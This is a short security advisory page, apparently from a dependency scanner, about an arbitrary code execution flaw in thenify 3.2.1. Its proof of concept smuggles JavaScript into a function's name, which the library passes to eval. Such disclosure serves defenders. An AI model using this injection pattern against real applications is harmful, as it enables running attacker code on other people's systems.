thenify@3.2.1

Vulnerabilities

1 via 1 paths

Dependencies

1

Source

npm

Find, fix and prevent vulnerabilities in your code.

Severity
  • 1
Status
  • 1
  • 0
  • 0

high severity

Arbitrary Code Execution

  • Vulnerable module: thenify
  • Introduced through: thenify@3.2.1

Detailed paths

  • Introduced through: thenify@3.2.1
    Remediation: Upgrade to thenify@3.3.1.

Overview

thenify is a Promisify a callback-based function using any-promise.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The name argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval function without any sanitization.

PoC

var a = require("thenify");
var attack_code = "fs=require('fs');fs.writeFile('Song', 'test',function(){})";
function cur(){};
Object.defineProperty(cur, "name", { value: "fake() {" + attack_code + ";})();(function(){//"});
a(cur);

Remediation

Upgrade thenify to version 3.3.1 or higher.

References